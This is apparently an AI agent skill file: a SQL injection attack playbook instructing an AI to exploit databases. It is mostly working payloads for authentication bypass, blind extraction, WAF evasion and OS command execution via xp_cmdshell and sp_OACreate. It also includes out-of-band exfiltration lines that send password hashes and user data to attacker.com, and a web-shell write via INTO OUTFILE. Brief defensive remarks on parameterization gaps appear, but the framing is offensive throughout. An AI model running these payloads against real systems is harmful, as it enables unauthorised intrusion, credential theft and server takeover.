--- name: sqli-sql-injection description: >- SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths. --- # SKILL: SQL Injection — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion [SCENARIOS.md](./SCENARIOS.md). ## 0. RELATED ROUTING - [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the backend is **Java with Jackson** and your SQL keywords are WAF-blocked — Jackson's `charToHex` table is indexed by `ch & 0xFF`, so a Unicode character like `丰` (U+4E30) resolves to hex digit `0` inside a `\uXXXX` escape sequence, letting you smuggle `UNION`, `SELECT`, `1`, etc. without the WAF ever seeing them ## 1. QUICK START ### Extended Scenarios Also load [SCENARIOS.md](./SCENARIOS.md) when you need: - SMB out-of-band exfiltration via `LOAD_FILE` + UNC paths (Windows MySQL) - KEY injection / URI injection / non-parameter injection points - INSERT/DELETE/UPDATE statement injection differences - ThinkPHP5 array key injection (`updatexml` error-based) - Django GIS Oracle `utl_inaddr.get_host_name` CVE - ORDER BY / LIMIT injection techniques ### Advanced Reference Also load [SQLMAP_ADVANCED.md](./SQLMAP_ADVANCED.md) when you need: - SQLMap tamper scripts matrix and WAF bypass tamper chain recipes (space2comment, between, charencode, etc.) - `--technique`, `--risk`/`--level` combinations and `--second-url` for second-order injection - `--os-shell` / `--os-pwn` OS-level exploitation via SQLMap - INSERT/UPDATE/DELETE injection patterns with data exfiltration examples - GraphQL + SQL injection (batched queries, nested field injection, mutation injection) - DB-specific advanced functions: PostgreSQL dollar-sign quoting, MSSQL linked servers, Oracle DBMS_PIPE/DBMS_SCHEDULER If you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here. ### First-pass payload families | Situation | Start With | Why | |---|---|---| | Login or boolean branch | `' or 1=1--` | Fast signal on auth or conditional checks | | Numeric parameter | `1 or 1=1` | Avoid quote dependency | | ORDER BY / sorting | `1,2,3` then `1 desc--` | Good for structural probing | | Visible SQL errors | `'` then DBMS-specific error probes | Error text gives DBMS clues | | No visible output | time-based payloads | Stable fallback for blind targets | | Heavy filtering / WAF | polyglot or whitespace-free variants | Expands parser confusion surface | ### Small, stable first-pass set ```text ' ' or 1=1-- ' or '1'='1'-- 1 or 1=1 ') or ('1'='1 '; WAITFOR DELAY '0:0:5'-- ' AND SLEEP(5)-- '||(SELECT pg_sleep(5))-- 1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5) ' order by 1-- ' union select null-- ``` ### DBMS routing hints | Clue | Likely DBMS | Good Next Move | |---|---|---| | `You have an error in your SQL syntax` | MySQL | try `SLEEP()` and `@@version` | | `Microsoft OLE DB Provider` | MSSQL | try `WAITFOR DELAY` | | `PG::` / `PostgreSQL` | PostgreSQL | try `pg_sleep()` | | `ORA-` prefix | Oracle | pivot to out-of-band or XML features | | SQLite errors, local apps | SQLite | focus on boolean/UNION and file-backed behavior | --- ## 1. DETECTION — SUBTLE INDICATORS Most SQLi is found by **behavioral differences**, not errors: | Signal | Meaning | |---|---| | Page loads differently with `'` vs `''` | String context injection point | | Numeric: `1` vs `1-1` vs `2-1` returns same | Arithmetic evaluated | | `1=1` vs `1=2` in condition changes result | Boolean-based injection | | SELECT with ORDER BY N: column count enumeration | UNION prep | | Time delay: `'; WAITFOR DELAY '0:0:5'--` | Blind/time-based | | 500 error on `'`, 200 on `''` | Unhandled exception = SQLi | | Different HTTP response size | Boolean blind indicator | **Critical**: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values). --- ## 2. DATABASE FINGERPRINTING ```sql -- MySQL VERSION() -- returns version string @@datadir -- data directory @@global.secure_file_priv -- file read restriction -- MSSQL @@VERSION -- includes "Microsoft SQL Server" DB_NAME() -- current database USER_NAME() -- current user -- Oracle v$version -- SELECT banner FROM v$version WHERE ROWNUM=1 sys.database_name -- current db (alternative) user -- current Oracle user -- PostgreSQL version() -- returns version current_database() -- current db current_user -- current user ``` **Error-based fingerprint**: inject `'` and read error message format. MySQL errors differ from Oracle/MSSQL. --- ## 3. UNION-BASED DATA EXTRACTION **Column count determination**: ```sql ORDER BY 1-- ORDER BY 2-- ORDER BY N-- ← until error = N-1 columns ``` **Column type detection** (NULL is safest): ```sql UNION SELECT NULL,NULL,NULL-- UNION SELECT 'a',NULL,NULL-- ← find string column ``` **Database-specific string concat** (required when column accepts only int): ```sql -- MySQL CONCAT(username,0x3a,password) -- MSSQL username+'|'+password -- Oracle username||'|'||password -- PostgreSQL username||':'||password ``` --- ## 4. BLIND INJECTION — INFERENCE TECHNIQUES ### Boolean Blind (conditional response difference) ```sql -- Does first char of username = 'a'? ' AND SUBSTRING(username,1,1)='a'-- ' AND ASCII(SUBSTRING(username,1,1))>96-- -- Oracle ' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'-- -- MSSQL ' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'-- ``` ### Time-Based Blind (no response difference) ```sql -- MSSQL (most reliable) '; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'-- -- MySQL ' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)-- -- Oracle ' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)-- -- Oracle sleep alternative (no SLEEP): ' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))-- -- PostgreSQL '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- ``` --- ## 5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline. ### MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP) ```sql '; INSERT INTO OPENROWSET( 'SQLOLEDB', 'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass', 'SELECT * FROM foo' ) VALUES (@@version)-- -- Exfiltrate table data: '; INSERT INTO OPENROWSET( 'SQLOLEDB', 'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass', 'SELECT * FROM foo' ) SELECT TOP 1 username+':'+password FROM users-- ``` Use **port 80 or 443** to bypass firewall egress restrictions. ### Oracle — UTL_HTTP (HTTP GET with data in URL path) ```sql '+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))-- ``` Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy! ### Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions) ```sql '+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')-- ``` Attacker sees: `HASH_VALUE.attacker.com` DNS query → read password hash. ### Oracle — UTL_SMTP / UTL_TCP ```sql -- Email large data dumps: UTL_SMTP.SENDMAIL(...) -- send query results via email -- Raw TCP socket: UTL_TCP.OPEN_CONNECTION('attacker.com', 80) ``` ### MySQL — DNS via LOAD_FILE (Windows + UNC path) ```sql SELECT LOAD_FILE('\\\\attacker.com\\share') -- Triggers DNS lookup before connection attempt -- Works on Windows hosts with outbound SMB ``` ### MySQL — INTO OUTFILE (in-band filesystem write) ```sql SELECT "" INTO OUTFILE '/var/www/html/shell.php' -- Requirements: FILE privilege, writable web root, secure_file_priv='' ``` --- ## 6. ESCALATION — OS COMMAND EXECUTION ### MSSQL — xp_cmdshell (if enabled, or if sysadmin) ```sql '; EXEC xp_cmdshell('whoami')-- -- Enable if disabled (requires sysadmin): '; EXEC sp_configure 'show advanced options',1; RECONFIGURE-- '; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE-- ``` ### MySQL — UDF (User Defined Functions) Write malicious shared library to filesystem, then `CREATE FUNCTION ... SONAME`. ### Oracle — Java Stored Procedures ```sql -- Create Java class: EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<>','execute'); -- Then exec OS commands via Java Runtime ``` --- ## 7. SECOND-ORDER INJECTION **Concept**: User input is stored safely (parameterized), but later **retrieved as trusted data** and concatenated into a new query without re-sanitization. **Example attack flow**: 1. Register username: `admin'--` 2. Application safely inserts this into users table 3. Password change function fetches username from session (trusted!) and builds: ```sql UPDATE users SET password='newpass' WHERE username='admin'--' ``` 4. Comment strips the condition → updates **admin's** password **Key insight**: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data. --- ## 8. PARAMETERIZED QUERY BYPASS SCENARIOS Parameterized queries do NOT prevent SQLi when: 1. **Table/column names are user-controlled** — params can't parameterize identifiers: ```sql -- UNSAFE even with params: "SELECT * FROM " + tableName + " WHERE id = ?" ``` Mitigation: whitelist-validate table/column names. 2. **Partial parameterization** — some fields concatenated, others parameterized: ```sql "SELECT * FROM users WHERE type='" + userType + "' AND id=?" -- userType not parameterized → injection ``` 3. **IN clause** with dynamic count (common mistake in ORMs): ```sql SELECT * FROM items WHERE id IN (1, 2, ?) -- only last is parameterized ``` 4. **Second-order** — data retrieved from DB assumed clean, re-used in query without params. --- ## 9. FILTER EVASION TECHNIQUES ### Comment Injection (break keywords) ```sql SEL/**/ECT UN/**/ION 1 UN/**/ION ALL SEL/**/ECT NULL-- ``` ### Case Variation ```sql UnIoN SeLeCt ``` ### URL Encoding ```sql %55NION -- U %53ELECT -- S ``` ### Whitespace Alternatives ```sql SELECT/**/username/**/FROM/**/users SELECT%09username%09FROM%09users -- tab SELECT%0ausername%0aFROM%0ausers -- newline ``` ### String Construction (bypass literal-string detection) ```sql -- MySQL concatenation without quotes: CHAR(117,115,101,114,110,97,109,101) -- 'username' -- Oracle: CHR(117)||CHR(115)||CHR(101)||CHR(114) -- MSSQL: CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114) ``` --- ## 10. DATABASE METADATA EXTRACTION ### MySQL ```sql SELECT schema_name FROM information_schema.schemata SELECT table_name FROM information_schema.tables WHERE table_schema=database() SELECT column_name FROM information_schema.columns WHERE table_name='users' ``` ### MSSQL ```sql SELECT name FROM master..sysdatabases SELECT name FROM sysobjects WHERE xtype='U' -- user tables SELECT name FROM syscolumns WHERE id=OBJECT_ID('users') ``` ### Oracle ```sql SELECT owner,table_name FROM all_tables SELECT column_name FROM all_tab_columns WHERE table_name='USERS' SELECT username,password FROM dba_users -- requires DBA ``` ### PostgreSQL ```sql SELECT datname FROM pg_database SELECT tablename FROM pg_tables WHERE schemaname='public' SELECT column_name FROM information_schema.columns WHERE table_name='users' ``` --- ## 11. STORED PROCEDURE ABUSE ### MSSQL — sp_OAMethod (COM automation) ```sql DECLARE @o INT EXEC sp_OACreate 'wscript.shell', @o OUT EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt' ``` ### Oracle — DBMS_LDAP (outbound LDAP = DNS exfil) ```sql SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual ``` --- ## 12. QUICK REFERENCE — INJECTION TEST STRINGS ``` ' -- break string context '' -- escaped quote (test handling) ' OR 1=1-- -- auth bypass attempt ' OR 'a'='a -- alternate auth bypass '; SELECT 1-- -- statement termination ' UNION SELECT NULL-- -- UNION test ' AND 1=1-- -- boolean true ' AND 1=2-- -- boolean false (different response → injectable) 1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay 1 AND SLEEP(3)-- -- MySQL time delay 1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay ``` --- ## 13. WAF BYPASS MATRIX | Technique | Blocked | Bypass | |---|---|---| | Space filtered | `SELECT * FROM` | `SELECT/**/*//**/FROM`, `SELECT%0a*%0aFROM` | | Comma filtered | `UNION SELECT 1,2,3` | `UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c` | | Quote filtered | `'admin'` | `0x61646D696E` (hex), `CHAR(97,100,109,105,110)` | | OR/AND filtered | `OR 1=1` | ||1=1, `&&1=1`, `DIV 0` | | = filtered | `id=1` | `id LIKE 1`, `id REGEXP '^1$'`, `id IN (1)`, `id BETWEEN 1 AND 1` | | SELECT filtered | | Use `handler` (MySQL), `PREPARE`+hex, or stacked queries | | information_schema filtered | | `mysql.innodb_table_stats`, `sys.schema_table_statistics` | Additional WAF bypass patterns: - Polyglot: `SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/` - Routed injection: `1' UNION SELECT 0x(inner_payload_hex)-- -` where inner payload is another full query hex-encoded - Second Order: inject into storage, trigger when data is used in another query later - PDO emulated prepare: when `PDO::ATTR_EMULATE_PREPARES=true`, stacked queries work even with parameterized-looking code --- ## 14. WAF BYPASS MATRIX ### No-Space Bypass ```sql SELECT/**/username/**/FROM/**/users SELECT(username)FROM(users) ``` ### No-Comma Bypass ```sql -- UNION with JOIN instead of comma: UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c -- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1) -- LIMIT alternative: LIMIT 1 OFFSET 0 ``` ### Polyglot Injection ```sql SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` ### Routed Injection ```sql -- First query returns string used as input to second query: ' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))-- -- The returned value becomes part of another SQL context ``` ### Second-Order Injection ``` -- Step 1: Register username: admin'-- -- Step 2: Trigger password change (uses stored username in SQL) -- UPDATE users SET password='new' WHERE username='admin'--' ``` ### PDO / Prepared Statement Edge Cases ```php // Unsafe even with PDO when query structure is dynamic: $pdo->query("SELECT * FROM " . $_GET['table']); // Or when using emulated prepares with multi-query: $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true); ``` ### Entry Point Detection (Unicode tricks) ``` U+02BA ʺ (modifier letter double prime) → " U+02B9 ʹ (modifier letter prime) → ' %%2727 → %27 → ' ```